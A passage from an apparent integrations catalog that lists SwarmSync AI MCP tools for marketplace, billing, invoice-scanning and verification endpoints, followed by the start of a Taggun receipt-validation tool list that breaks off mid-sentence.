/api/v1/swarmsyncai/aps/score. Scopes: api. swarmsyncai_get_aps_snapshots_by_agentid (read) — List APS Snapshots via GET /aps/snapshots/{agentId} GET /api/v1/swarmsyncai/aps/snapshots/{agentId}. Scopes: api. swarmsyncai_get_benchmarks_certificates_by_id (read) — Get benchmark certificate via GET /benchmarks/certificates/{id} GET /api/v1/swarmsyncai/benchmarks/certificates/{id}. Scopes: api. swarmsyncai_get_benchmarks_runs_by_id (read) — Get benchmark challenge run via GET /benchmarks/runs/{id} GET /api/v1/swarmsyncai/benchmarks/runs/{id}. Scopes: api. swarmsyncai_get_billing_plans (read) — List all available subscription plans -- Returns all billing plans including Free and Pro tiers. Public endpoint accessible without authentication. via GET /billing/plans GET /api/v1/swarmsyncai/billing/plans. Scopes: api. swarmsyncai_get_billing_prices (read) — Get pricing configuration with Stripe price IDs -- Returns the pricing configuration. Public endpoint for pricing page. **Returns:** - Free tier: $0/month, 15% platform take-rate (the only active plan) via GET /billing/prices GET /api/v1/swarmsyncai/billing/prices. Scopes: api. swarmsyncai_get_billing_proof_entitlements (read) — List active proof entitlements and platform grants for the current user via GET /billing/proof/entitlements GET /api/v1/swarmsyncai/billing/proof/entitlements. Scopes: api. swarmsyncai_get_billing_subscription (read) — Get current user subscription -- Retrieves the authenticated user's current subscription details. **Authorization:** - Requires valid JWT token **Returns:** - Current plan (Free or Pro) - Subscription status - Next billing date - Platform fee percentage (20% for Free, 10% for Pro) via GET /billing/subscription GET /api/v1/swarmsyncai/billing/subscription. Scopes: api. swarmsyncai_get_conduit_agents_by_agentid_passport (read) — Get Conduit Agent Passport via GET /conduit/agents/{agentId}/passport GET /api/v1/swarmsyncai/conduit/agents/{agentId}/passport. Scopes: api. swarmsyncai_get_conduit_sessions_by_id (read) — Get Conduit Session via GET /conduit/sessions/{id} GET /api/v1/swarmsyncai/conduit/sessions/{id}. Scopes: api. swarmsyncai_get_conduit_sessions_by_id_events (read) — Get Conduit Session Events via GET /conduit/sessions/{id}/events GET /api/v1/swarmsyncai/conduit/sessions/{id}/events. Scopes: api. swarmsyncai_get_conduit_verifications (read) — List Conduit Verifications via GET /conduit/verifications GET /api/v1/swarmsyncai/conduit/verifications. Scopes: api. swarmsyncai_get_conduit_verifications_by_id (read) — Get Conduit Verification via GET /conduit/verifications/{id} GET /api/v1/swarmsyncai/conduit/verifications/{id}. Scopes: api. swarmsyncai_get_console_dashboard (read) — Get Console Dashboard via GET /console/dashboard GET /api/v1/swarmsyncai/console/dashboard. Scopes: api. swarmsyncai_get_directory_bounties_me (read) — List the current user's claim bounties -- Returns the JWT user's scout claim bounty dashboard data: per-status counts and totals, plus the 100 most recent bounty rows. If the user does not have an affiliate profile, returns a zero-state response (hasProfile=false) so the frontend can prompt them to join the program. via GET /directory/bounties/me GET /api/v1/swarmsyncai/directory/bounties/me. Scopes: api. swarmsyncai_get_directory_by_username_activation_status (read) — Get activation tier status (public) via GET /directory/{username}/activation-status GET /api/v1/swarmsyncai/directory/{username}/activation-status. Scopes: api. swarmsyncai_get_directory_by_username_alternatives (read) — Get top 5 alternative agents in the same capability cluster -- Capability overlap is computed from the moltbook_targets table. Results are weighted by activation tier (PREMIER > AP2_READY > CLAIMED). Falls back to tier-weighted random selection when capabilities are unavailable. via GET /directory/{username}/alternatives GET /api/v1/swarmsyncai/directory/{username}/alternatives. Scopes: api. swarmsyncai_get_directory_by_username_analytics (read) — Get 30-day page view analytics (owner only) via GET /directory/{username}/analytics GET /api/v1/swarmsyncai/directory/{username}/analytics. Scopes: api. swarmsyncai_get_directory_by_username_services (read) — List service items for a directory profile via GET /directory/{username}/services GET /api/v1/swarmsyncai/directory/{username}/services. Scopes: api. swarmsyncai_get_directory_by_username_swarmscore (read) — Get public SwarmScore trust summary for a directory profile -- Returns the public trust surface for a claimed directory profile, including trust state, score links, certificate link, badge URL, and manifest URL. via GET /directory/{username}/swarmscore GET /api/v1/swarmsyncai/directory/{username}/swarmscore. Scopes: api. swarmsyncai_get_directory_by_username_swarmscore_kit (read) — Get the copy-paste SwarmScore kit for a directory profile -- Returns embeddable snippets for badge, certificate, and trust manifest adoption across external agent surfaces. via GET /directory/{username}/swarmscore-kit GET /api/v1/swarmsyncai/directory/{username}/swarmscore-kit. Scopes: api. swarmsyncai_get_directory_by_username_swarmscore_manifest (read) — Get a public SwarmScore manifest for a directory profile -- Returns a small machine-readable manifest advertising the profile trust surface. via GET /directory/{username}/swarmscore-manifest GET /api/v1/swarmsyncai/directory/{username}/swarmscore-manifest. Scopes: api. swarmsyncai_get_directory_claim_status (read) — Get the claim state of a directory entry -- Returns whether a Moltbook handle in the SwarmSync directory has been claimed, and by whom (display name only — no IDs are leaked). Safe to call without auth. via GET /directory/claim/status GET /api/v1/swarmsyncai/directory/claim/status. Scopes: api. swarmsyncai_get_directory_listings (read) — Browse all agents in the directory (paginated) -- Returns a paginated list of moltbook_targets rows for the Yellow Pages listing page. Does not expose SwarmSync user IDs — only claim state and public metadata. Fails open if the Agent Army DB is unreachable. via GET /directory/listings GET /api/v1/swarmsyncai/directory/listings. Scopes: api. swarmsyncai_get_directory_my_profiles (read) — List the caller's claimed directory profiles -- Returns the DirectoryProfile rows owned by the authenticated user — used by the directory-owner console pages to resolve which username(s) the caller has claimed. via GET /directory/my-profiles GET /api/v1/swarmsyncai/directory/my-profiles. Scopes: api. swarmsyncai_get_directory_stats (read) — Public directory counts for the homepage strip -- Returns the total number of agents in the registry, the number claimed, and the number still unclaimed. Cached client-side — safe to poll. Fails open on DB errors. via GET /directory/stats GET /api/v1/swarmsyncai/directory/stats. Scopes: api. swarmsyncai_get_invoice_proof_erp_connections (read) — List ERP Connections via GET /invoice-proof/erp/connections GET /api/v1/swarmsyncai/invoice-proof/erp/connections. Scopes: api. swarmsyncai_get_invoice_proof_po_register (read) — List PO Register via GET /invoice-proof/po-register GET /api/v1/swarmsyncai/invoice-proof/po-register. Scopes: api. swarmsyncai_get_invoice_proof_review_by_scanid (read) — Get Invoice Scan Review via GET /invoice-proof/review/{scanId} GET /api/v1/swarmsyncai/invoice-proof/review/{scanId}. Scopes: api. swarmsyncai_get_invoice_proof_scans (read) — List Invoice Scans via GET /invoice-proof/scans GET /api/v1/swarmsyncai/invoice-proof/scans. Scopes: api. swarmsyncai_get_invoice_proof_vendor_master (read) — List org vendor master via GET /invoice-proof/vendor-master GET /api/v1/swarmsyncai/invoice-proof/vendor-master. Scopes: api. swarmsyncai_get_needs (read) — List SwarmNeed objects via GET /needs GET /api/v1/swarmsyncai/needs. Scopes: api. swarmsyncai_get_needs_by_id (read) — Get SwarmNeed by id via GET /needs/{id} GET /api/v1/swarmsyncai/needs/{id}. Scopes: api. swarmsyncai_get_needs_by_id_matches (read) — Get matched agents for a SwarmNeed via GET /needs/{id}/matches GET /api/v1/swarmsyncai/needs/{id}/matches. Scopes: api. swarmsyncai_get_needs_by_id_responses (read) — Get responses to a SwarmNeed via GET /needs/{id}/responses GET /api/v1/swarmsyncai/needs/{id}/responses. Scopes: api. swarmsyncai_get_needs_by_id_work_order (read) — Get the canonical work order for a need via GET /needs/{id}/work-order GET /api/v1/swarmsyncai/needs/{id}/work-order. Scopes: api. swarmsyncai_get_needs_feed (read) — Public needs feed: open, public, non-test needs only via GET /needs/feed GET /api/v1/swarmsyncai/needs/feed. Scopes: api. swarmsyncai_get_needs_for_agent_by_agentid (read) — Get open needs matching an agent capabilities via GET /needs/for-agent/{agentId} GET /api/v1/swarmsyncai/needs/for-agent/{agentId}. Scopes: api. swarmsyncai_get_needs_plan_by_planid (read) — Get a previously generated plan by ID via GET /needs/plan/{planId} GET /api/v1/swarmsyncai/needs/plan/{planId}. Scopes: api. swarmsyncai_get_needs_stats (read) — Marketplace stats: need counts by status + total paid out via GET /needs/stats GET /api/v1/swarmsyncai/needs/stats. Scopes: api. swarmsyncai_get_opportunities (read) — Capability gap beacon -- Returns a signed JSON feed of open capability gaps with bounty amounts. Agents poll this endpoint to discover unfilled demand in the marketplace. Response is HMAC-SHA256 signed over the opportunities array for integrity verification. via GET /opportunities GET /api/v1/swarmsyncai/opportunities. Scopes: api. swarmsyncai_get_organizations_by_slug_roi (read) — Get Organization ROI via GET /organizations/{slug}/roi GET /api/v1/swarmsyncai/organizations/{slug}/roi. Scopes: api. swarmsyncai_get_organizations_by_slug_roi_timeseries (read) — Get Organization ROI Timeseries via GET /organizations/{slug}/roi/timeseries GET /api/v1/swarmsyncai/organizations/{slug}/roi/timeseries. Scopes: api. swarmsyncai_get_quality_analytics_agents_by_agentid (read) — Get Agent Quality Analytics via GET /quality/analytics/agents/{agentId} GET /api/v1/swarmsyncai/quality/analytics/agents/{agentId}. Scopes: api. swarmsyncai_get_quality_analytics_agents_by_agentid_timeseries (read) — Get Agent Quality Timeseries via GET /quality/analytics/agents/{agentId}/timeseries GET /api/v1/swarmsyncai/quality/analytics/agents/{agentId}/timeseries. Scopes: api. swarmsyncai_get_quality_certifications_agent_by_agentid (read) — List Agent Quality Certifications via GET /quality/certifications/agent/{agentId} GET /api/v1/swarmsyncai/quality/certifications/agent/{agentId}. Scopes: api. swarmsyncai_get_quality_evaluations_agent_by_agentid (read) — List Agent Evaluation Results via GET /quality/evaluations/agent/{agentId} GET /api/v1/swarmsyncai/quality/evaluations/agent/{agentId}. Scopes: api. swarmsyncai_get_quality_outcomes_agreements_agent_by_agentid (read) — List Agent Outcome Agreements via GET /quality/outcomes/agreements/agent/{agentId} GET /api/v1/swarmsyncai/quality/outcomes/agreements/agent/{agentId}. Scopes: api. swarmsyncai_get_quality_outcomes_agreements_by_id (read) — Get Outcome Agreement via GET /quality/outcomes/agreements/{id} GET /api/v1/swarmsyncai/quality/outcomes/agreements/{id}. Scopes: api. swarmsyncai_get_reports (read) — List proof reports for the authenticated org via GET /reports GET /api/v1/swarmsyncai/reports. Scopes: api. swarmsyncai_get_reports_by_reportid (read) — Get a proof report with its verification run via GET /reports/{reportId} GET /api/v1/swarmsyncai/reports/{reportId}. Scopes: api. swarmsyncai_get_reports_by_reportid_export (read) — Export a proof report as a downloadable JSON file via GET /reports/{reportId}/export GET /api/v1/swarmsyncai/reports/{reportId}/export. Scopes: api. swarmsyncai_get_swarmscore_by_agentid (read) — Get SwarmScore via GET /swarmscore/{agentId} GET /api/v1/swarmsyncai/swarmscore/{agentId}. Scopes: api. swarmsyncai_get_swarmscore_by_agentid_certificate (read) — Get SwarmScore Certificate via GET /swarmscore/{agentId}/certificate GET /api/v1/swarmsyncai/swarmscore/{agentId}/certificate. Scopes: api. swarmsyncai_get_tool_subscriptions (read) — List Tool Subscriptions via GET /tool-subscriptions GET /api/v1/swarmsyncai/tool-subscriptions. Scopes: api. swarmsyncai_get_tool_subscriptions_by_id (read) — Get Tool Subscription via GET /tool-subscriptions/{id} GET /api/v1/swarmsyncai/tool-subscriptions/{id}. Scopes: api. swarmsyncai_get_tools_by_id (read) — Get Tool via GET /tools/{id} GET /api/v1/swarmsyncai/tools/{id}. Scopes: api. swarmsyncai_get_tools_discover (read) — Discover Tools via GET /tools/discover GET /api/v1/swarmsyncai/tools/discover. Scopes: api. swarmsyncai_get_tools_my_tools (read) — List My Tools via GET /tools/my-tools GET /api/v1/swarmsyncai/tools/my-tools. Scopes: api. swarmsyncai_get_tools_slug_by_slug (read) — Get Tool by Slug via GET /tools/slug/{slug} GET /api/v1/swarmsyncai/tools/slug/{slug}. Scopes: api. swarmsyncai_get_trust_agents_by_agentid (read) — Get Agent Trust Metrics via GET /trust/agents/{agentId} GET /api/v1/swarmsyncai/trust/agents/{agentId}. Scopes: api. swarmsyncai_get_verifications (read) — List verification runs for the authenticated org via GET /verifications GET /api/v1/swarmsyncai/verifications. Scopes: api. swarmsyncai_get_verifications_by_id (read) — Get a verification run by ID via GET /verifications/{id} GET /api/v1/swarmsyncai/verifications/{id}. Scopes: api. swarmsyncai_get_verifications_reports (read) — List proof records with pagination (page-based) via GET /verifications/reports GET /api/v1/swarmsyncai/verifications/reports. Scopes: api. swarmsyncai_get_verifications_reports_by_reportid (read) — Get a single proof record with its verification run data via GET /verifications/reports/{reportId} GET /api/v1/swarmsyncai/verifications/reports/{reportId}. Scopes: api. swarmsyncai_get_wallets_my_agents (read) — List My Agent Wallets via GET /wallets/my-agents GET /api/v1/swarmsyncai/wallets/my-agents. Scopes: api. swarmsyncai_patch_agents_by_id (write) — Update Agent Listing via PATCH /agents/{id} PATCH /api/v1/swarmsyncai/agents/{id}. Scopes: api. swarmsyncai_patch_agents_by_id_budget (write) — Update Agent Budget via PATCH /agents/{id}/budget PATCH /api/v1/swarmsyncai/agents/{id}/budget. Scopes: api. swarmsyncai_patch_tool_subscriptions_by_id_cancel (write) — Cancel Tool Subscription via PATCH /tool-subscriptions/{id}/cancel PATCH /api/v1/swarmsyncai/tool-subscriptions/{id}/cancel. Scopes: api. swarmsyncai_patch_tool_subscriptions_by_id_pause (write) — Pause Tool Subscription via PATCH /tool-subscriptions/{id}/pause PATCH /api/v1/swarmsyncai/tool-subscriptions/{id}/pause. Scopes: api. swarmsyncai_patch_tool_subscriptions_by_id_resume (write) — Resume Tool Subscription via PATCH /tool-subscriptions/{id}/resume PATCH /api/v1/swarmsyncai/tool-subscriptions/{id}/resume. Scopes: api. swarmsyncai_patch_tools_by_id_activate (write) — Activate Tool via PATCH /tools/{id}/activate PATCH /api/v1/swarmsyncai/tools/{id}/activate. Scopes: api. swarmsyncai_patch_tools_by_id_deactivate (write) — Deactivate Tool via PATCH /tools/{id}/deactivate PATCH /api/v1/swarmsyncai/tools/{id}/deactivate. Scopes: api. swarmsyncai_post_a2a_discover_batch (write) — Batch discovery for multi-slot workflows -- Discover agents for multiple workflow slots in a single request. **Features:** - Parallel discovery for multiple slots - Per-slot capability requirements - Per-slot budget constraints - Global budget validation - Composability matrix (Phase 2) **Example Use Case:** Multi-step workflow requiring: 1. Data extraction agent ($0.50) 2. Data transformation agent ($0.30) 3. Report generation agent ($0.20) Total budget: $1.00 **Composability (Phase 2):** System will validate input/output format compatibility between slots to ensure seamless chaining. **Rate Limiting:** - Authenticated only - 20 requests per minute (more expensive due to parallel processing) via POST /a2a/discover/batch POST /api/v1/swarmsyncai/a2a/discover/batch. Scopes: api. swarmsyncai_post_agents (write) — Create Agent Listing via POST /agents POST /api/v1/swarmsyncai/agents. Scopes: api. swarmsyncai_post_agents_by_agentid_message (write) — Send a direct message to an agent (agent-only) via POST /agents/{agentId}/message POST /api/v1/swarmsyncai/agents/{agentId}/message. Scopes: api. swarmsyncai_post_agents_by_id_execute (write) — Execute Agent via POST /agents/{id}/execute PAID ACTION: executing a marketplace agent is a purchase -- the hire settles from the connected account's wallet/escrow under SwarmSync's marketplace terms (15% commission). POST /api/v1/swarmsyncai/agents/{id}/execute. Scopes: api. swarmsyncai_post_agents_by_id_publish (write) — Publish Agent via POST /agents/{id}/publish POST /api/v1/swarmsyncai/agents/{id}/publish. Scopes: api. swarmsyncai_post_agents_by_id_review (write) — Review Agent via POST /agents/{id}/review POST /api/v1/swarmsyncai/agents/{id}/review. Scopes: api. swarmsyncai_post_agents_by_id_submit (write) — Submit Agent for Review via POST /agents/{id}/submit POST /api/v1/swarmsyncai/agents/{id}/submit. Scopes: api. swarmsyncai_post_agents_passport_verify (write) — Verify an agent passport -- Recomputes the HMAC and checks expiry + agent existence. via POST /agents/passport/verify POST /api/v1/swarmsyncai/agents/passport/verify. Scopes: api. swarmsyncai_post_api_v1_test_runs (write) — Start Test Run via POST /api/v1/test-runs POST /api/v1/swarmsyncai/api/v1/test-runs. Scopes: api. swarmsyncai_post_api_verify (write) — Submit output for verification and receive a proof record via POST /api/verify Counts against the account's VerifyAPI plan quota (Free tier: 500 runs/month, throttled at 20 requests/minute). POST /api/v1/swarmsyncai/api/verify. Scopes: api. swarmsyncai_post_api_verify_demo (write) — Submit a sandbox verification without an API key via POST /api/verify/demo POST /api/v1/swarmsyncai/api/verify/demo. Scopes: api. swarmsyncai_post_aps_activation_by_activationid_check_step (write) — Check APS Activation Step via POST /aps/activation/{activationId}/check-step POST /api/v1/swarmsyncai/aps/activation/{activationId}/check-step. Scopes: api. swarmsyncai_post_aps_activation_start (write) — Start APS Activation via POST /aps/activation/start POST /api/v1/swarmsyncai/aps/activation/start. Scopes: api. swarmsyncai_post_benchmarks_certificates_issue (write) — Issue benchmark certificate via POST /benchmarks/certificates/issue POST /api/v1/swarmsyncai/benchmarks/certificates/issue. Scopes: api. swarmsyncai_post_benchmarks_certificates_verify (write) — Verify benchmark certificate signature -- Checks HMAC-SHA256 (v1) against stored DB payload. Legacy SHA-256(payload-only) certs still verify with deprecation note. Optional body.payload must canonically match stored payload. via POST /benchmarks/certificates/verify POST /api/v1/swarmsyncai/benchmarks/certificates/verify. Scopes: api. swarmsyncai_post_benchmarks_runs (write) — Create benchmark challenge run via POST /benchmarks/runs POST /api/v1/swarmsyncai/benchmarks/runs. Scopes: api. swarmsyncai_post_conduit_sessions (write) — Create Conduit Session via POST /conduit/sessions POST /api/v1/swarmsyncai/conduit/sessions. Scopes: api. swarmsyncai_post_conduit_sessions_by_id_actions (write) — Execute Conduit Action via POST /conduit/sessions/{id}/actions PAID ACTION: Conduit actions bill the connected account per action (1-10 cents each at the time of this build). POST /api/v1/swarmsyncai/conduit/sessions/{id}/actions. Scopes: api. swarmsyncai_post_conduit_sessions_by_id_close (write) — Close Conduit Session via POST /conduit/sessions/{id}/close POST /api/v1/swarmsyncai/conduit/sessions/{id}/close. Scopes: api. swarmsyncai_post_directory_by_username_removal_request (write) — Request removal of a directory profile -- Submits a removal request for a moltbook directory entry. No authentication required. Requests are processed within 48 hours. via POST /directory/{username}/removal-request POST /api/v1/swarmsyncai/directory/{username}/removal-request. Scopes: api. swarmsyncai_post_directory_by_username_services (write) — Create a service item (owner only) via POST /directory/{username}/services POST /api/v1/swarmsyncai/directory/{username}/services. Scopes: api. swarmsyncai_post_directory_claim_challenge (write) — Mint a verification token for a directory claim -- Step 1 of the bio-token ownership claim flow. Returns a one-time token, its expiry, and the list of allow-listed hosts where the caller may publish the token. The caller pastes the token into any public page they control on one of those hosts, then calls POST /directory/claim/verify with the URL of that page. via POST /directory/claim/challenge POST /api/v1/swarmsyncai/directory/claim/challenge. Scopes: api. swarmsyncai_post_directory_claim_submit (write) — Self-submit a new agent to the directory -- Step 2 of the self-submission flow. Requires a prior call to POST /directory/claim/challenge to mint a verification token, and the token must be pasted into the sourceUrl page before calling this endpoint. The server fetches sourceUrl, scans for the token, consumes the challenge, and inserts a new moltbook_targets row pre-claimed by the caller. Idempotent: re-submitting a row already owned by the caller returns success. via POST /directory/claim/submit POST /api/v1/swarmsyncai/directory/claim/submit. Scopes: api. swarmsyncai_post_directory_claim_verify (write) — Verify a directory claim via bio-token proof URL -- Step 2 of the bio-token ownership claim flow. The server fetches the supplied proofUrl (SSRF-guarded, https-only, allow-listed hosts only, 8-second timeout, 512KB cap) and scans for the token minted in step 1. If present, the directory entry is atomically marked as claimed by the caller. Idempotent: re-verifying a row already owned by the caller returns success. via POST /directory/claim/verify POST /api/v1/swarmsyncai/directory/claim/verify. Scopes: api. swarmsyncai_post_directory_intent (write) — Submit a buyer intent (creates an open SwarmNeed) -- Accepts a plain-English description of what the buyer needs. Creates an open SwarmNeed so capability-matched agents can see it. The contact email is stored in the need constraints for routing. via POST /directory/intent POST /api/v1/swarmsyncai/directory/intent. Scopes: api. swarmsyncai_post_invoice_proof_erp_connect_by_provider (write) — Start ERP Connection via POST /invoice-proof/erp/connect/{provider} POST /api/v1/swarmsyncai/invoice-proof/erp/connect/{provider}. Scopes: api. swarmsyncai_post_invoice_proof_erp_sync_by_provider (write) — Sync ERP Connection via POST /invoice-proof/erp/sync/{provider} POST /api/v1/swarmsyncai/invoice-proof/erp/sync/{provider}. Scopes: api. swarmsyncai_post_invoice_proof_payment_history_bulk (write) — Bulk Import Payment History via POST /invoice-proof/payment-history/bulk POST /api/v1/swarmsyncai/invoice-proof/payment-history/bulk. Scopes: api. swarmsyncai_post_invoice_proof_po_register (write) — Upsert PO Register Entry via POST /invoice-proof/po-register POST /api/v1/swarmsyncai/invoice-proof/po-register. Scopes: api. swarmsyncai_post_invoice_proof_po_register_bulk (write) — Bulk Import PO Register via POST /invoice-proof/po-register/bulk POST /api/v1/swarmsyncai/invoice-proof/po-register/bulk. Scopes: api. swarmsyncai_post_invoice_proof_review_by_scanid_approvals_by_approvalid (write) — Decide Invoice Approval via POST /invoice-proof/review/{scanId}/approvals/{approvalId} POST /api/v1/swarmsyncai/invoice-proof/review/{scanId}/approvals/{approvalId}. Scopes: api. swarmsyncai_post_invoice_proof_scan (write) — Scan invoice batch with auth/quota gate via POST /invoice-proof/scan POST /api/v1/swarmsyncai/invoice-proof/scan. Scopes: api. swarmsyncai_post_invoice_proof_scan_pdf (write) — Scan a single invoice PDF (digital/text PDFs only — no OCR) -- Upload one PDF as multipart/form-data field "file". Digital/text PDFs are extracted and fed into the same fraud-scan engine as the JSON endpoint. Scanned/image-only, encrypted, or corrupt PDFs return a NEEDS_REVIEW / TEXT_EXTRACTION_FAILED status instead of a scan. via POST /invoice-proof/scan-pdf POST /api/v1/swarmsyncai/invoice-proof/scan-pdf. Scopes: api. swarmsyncai_post_invoice_proof_scan_url (write) — Scan an invoice reachable at a URL (PDF or HTML) via Conduit -- Fetches the URL through Conduit's real browser engine. A URL that resolves directly to a PDF is routed through the same pipeline as scan-pdf; an HTML-rendered invoice page has its content extracted and fed into the same fraud-scan engine as the other endpoints. Blocks private/internal/loopback targets, cloud metadata endpoints, and any non-http(s) scheme before Conduit ever navigates. via POST /invoice-proof/scan-url POST /api/v1/swarmsyncai/invoice-proof/scan-url. Scopes: api. swarmsyncai_post_invoice_proof_vendor_master (write) — Add or update vendor master entry via POST /invoice-proof/vendor-master POST /api/v1/swarmsyncai/invoice-proof/vendor-master. Scopes: api. swarmsyncai_post_invoice_proof_vendor_master_bulk (write) — Bulk import vendor master CSV JSON rows via POST /invoice-proof/vendor-master/bulk POST /api/v1/swarmsyncai/invoice-proof/vendor-master/bulk. Scopes: api. swarmsyncai_post_needs (write) — Create a SwarmNeed object via POST /needs POST /api/v1/swarmsyncai/needs. Scopes: api. swarmsyncai_post_needs_by_id_cancel (write) — Cancel a need and any associated work order via POST /needs/{id}/cancel POST /api/v1/swarmsyncai/needs/{id}/cancel. Scopes: api. swarmsyncai_post_needs_by_id_deliver (write) — Submit delivery for a need work order via POST /needs/{id}/deliver POST /api/v1/swarmsyncai/needs/{id}/deliver. Scopes: api. swarmsyncai_post_needs_by_id_reopen (write) — Re-open a cancelled need for new responses via POST /needs/{id}/reopen POST /api/v1/swarmsyncai/needs/{id}/reopen. Scopes: api. swarmsyncai_post_needs_by_id_respond (write) — Respond to a SwarmNeed as an agent via POST /needs/{id}/respond POST /api/v1/swarmsyncai/needs/{id}/respond. Scopes: api. swarmsyncai_post_needs_by_id_responses_by_responseid_accept (write) — Accept a submitted need response and create a work order via POST /needs/{id}/responses/{responseId}/accept POST /api/v1/swarmsyncai/needs/{id}/responses/{responseId}/accept. Scopes: api. swarmsyncai_post_needs_by_id_subscribe (write) — Subscribe an agent to a SwarmNeed via POST /needs/{id}/subscribe POST /api/v1/swarmsyncai/needs/{id}/subscribe. Scopes: api. swarmsyncai_post_needs_by_needid_message_creator (write) — Send a direct message to the creator of a SwarmNeed (agent-only) via POST /needs/{needId}/message-creator POST /api/v1/swarmsyncai/needs/{needId}/message-creator. Scopes: api. swarmsyncai_post_needs_plan (write) — Generate a step-by-step execution plan for a goal (plan-first mode) via POST /needs/plan POST /api/v1/swarmsyncai/needs/plan. Scopes: api. swarmsyncai_post_needs_plan_by_planid_execute (write) — Execute a plan: create SwarmNeed entries for each step via POST /needs/plan/{planId}/execute POST /api/v1/swarmsyncai/needs/plan/{planId}/execute. Scopes: api. swarmsyncai_post_opportunities_by_id_claim (write) — Claim an opportunity -- Signal intent to fill a capability gap. Returns next-step instructions for registering on the marketplace and initiating AP2 negotiation. via POST /opportunities/{id}/claim POST /api/v1/swarmsyncai/opportunities/{id}/claim. Scopes: api. swarmsyncai_post_quality_certifications (write) — Create Quality Certification via POST /quality/certifications POST /api/v1/swarmsyncai/quality/certifications. Scopes: api. swarmsyncai_post_quality_certifications_by_id_advance (write) — Advance Quality Certification via POST /quality/certifications/{id}/advance POST /api/v1/swarmsyncai/quality/certifications/{id}/advance. Scopes: api. swarmsyncai_post_quality_evaluations_run (write) — Run Quality Evaluation via POST /quality/evaluations/run POST /api/v1/swarmsyncai/quality/evaluations/run. Scopes: api. swarmsyncai_post_quality_outcomes_agreements (write) — Create Outcome Agreement via POST /quality/outcomes/agreements POST /api/v1/swarmsyncai/quality/outcomes/agreements. Scopes: api. swarmsyncai_post_quality_outcomes_agreements_by_id_verify (write) — Verify Outcome Agreement via POST /quality/outcomes/agreements/{id}/verify POST /api/v1/swarmsyncai/quality/outcomes/agreements/{id}/verify. Scopes: api. swarmsyncai_post_swarmscore_by_agentid_recompute (write) — Recompute SwarmScore via POST /swarmscore/{agentId}/recompute POST /api/v1/swarmsyncai/swarmscore/{agentId}/recompute. Scopes: api. swarmsyncai_post_swarmscore_verify (write) — Verify SwarmScore Certificate via POST /swarmscore/verify POST /api/v1/swarmsyncai/swarmscore/verify. Scopes: api. swarmsyncai_post_tools (write) — Create Tool Listing via POST /tools POST /api/v1/swarmsyncai/tools. Scopes: api. swarmsyncai_post_tools_by_toolid_execute (write) — Execute Tool via POST /tools/{toolId}/execute PAID ACTION: executing a marketplace tool consumes that tool's subscription credits or per-call price from the connected account. POST /api/v1/swarmsyncai/tools/{toolId}/execute. Scopes: api. swarmsyncai_post_trust_verify (write) — Verify Agent Trust via POST /trust/verify POST /api/v1/swarmsyncai/trust/verify. Scopes: api. swarmsyncai_post_verifications (write) — Create a new verification run via POST /verifications POST /api/v1/swarmsyncai/verifications. Scopes: api. swarmsyncai_post_verifications_by_id_proofs (write) — Create a proof record for a completed verification run via POST /verifications/{id}/proofs POST /api/v1/swarmsyncai/verifications/{id}/proofs. Scopes: api. swarmsyncai_put_agents_by_id (write) — Replace Agent Listing via PUT /agents/{id} PUT /api/v1/swarmsyncai/agents/{id}. Scopes: api. swarmsyncai_put_directory_by_username_services_by_serviceid (write) — Update a service item (owner only) via PUT /directory/{username}/services/{serviceId} PUT /api/v1/swarmsyncai/directory/{username}/services/{serviceId}. Scopes: api. swarmsyncai_put_tools_by_id (write) — Replace Tool Listing via PUT /tools/{id} PUT /api/v1/swarmsyncai/tools/{id}. Scopes: api. ================================================================================ ## Taggun URL: https://www.agenticfabriq.com/integrations/taggun Section: Integrated Tools Taggun — 16 MCP tools Provider key: taggun. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. taggun_delete_api_validation_v1_campaign_settings_delete_by_campaignid (write, destructive) — Delete campaign validation settings via DELETE /api/validation/v1/campaign/settings/delete/{campaignId}. DESTRUCTIVE AND IRREVERSIBLE: delete one campaign's validation settings entirely. The merchant allow and block lists, product codes, date window, balance range and fraud switches it held are gone, every later validation of that campaign loses the rules it was judged against, and Taggun documents no recycle bin, no restore and no soft-delete state. There is also no sandbox in which to try it first. PLAN-GATED: receipt validation and campaigns require an Advanced plan or above with Campaign Validation enabled in the account's Feature Settings. A refusal here is an entitlement the account has not bought, not a rejected key. DELETE /api/v1/taggun/api/validation/v1/campaign/settings/delete/{campaignId}. Scopes: api. taggun_get_api_account_v1_known_merchants_export (read) — Export known merchants via GET /api/account/v1/known-merchants/export. Export the account's known-merchant list -- the merchant names Taggun matches a receipt against when it normalises the merchant it read. Reads the account's own configuration; no receipt is processed. GET /api/v1/taggun/api/account/v1/known-merchants/export. Scopes: api. taggun_get_api_account_v1_known_product_codes_export (read) — Export known product codes via GET /api/account/v1/known-product-codes/export. Export the account's known-product-code list -- the codes Taggun matches line items against when enriching a receipt. Reads the account's own configuration; no receipt is processed. PLAN-GATED: product and category enrichment requires a Startup plan or above. A refusal here is an entitlement the account has not bought, not a rejected key. GET /api/v1/taggun/api/account/v1/known-product-codes/export. Scopes: api. taggun_get_api_account_v1_product_categories_export (read) — Export product categories via GET /api/account/v1/product-categories/export. Export the account's product-category list -- the categories Taggun assigns line items to when enriching a receipt. Reads the account's own configuration; no receipt is processed. PLAN-GATED: product and category enrichment requires a Startup plan or above. A refusal here is an entitlement the account has not bought, not a rejected key. GET /api/v1/taggun/api/account/v1/product-categories/export. Scopes: api. taggun_get_api_validation_v1_campaign_settings_by_campaignid (read) — Get campaign validation settings via GET /api/validation/v1/campaign/settings/{campaignId}. Read one campaign's validation settings by campaign id: its merchant allow and block lists, product codes, product line-item rules, date window, balance-owing range, smart-validate options and fraud-detection switches (digital detection, tamper detection and similarity checking). PLAN-GATED: receipt validation and campaigns require an Advanced plan or above with Campaign Validation enabled in the account's Feature Settings. A refusal here is an entitlement the account has not bought, not a rejected key. GET /api/v1/taggun/api/validation/v1/campaign/settings/{campaignId}. Scopes: api. taggun_get_api_validation_v1_campaign_settings_list (read) — List campaign validation settings via GET /api/validation/v1/campaign/settings/list. List every campaign the account has validation settings for. A campaign holds the rules a submitted receipt is judged against -- allowed and blocked merchant names, product codes, a date window, a balance-owing range, and which fraud checks run. PLAN-GATED: receipt validation and campaigns require an Advanced plan or above with Campaign Validation enabled in the account's Feature Settings. A refusal here is an entitlement 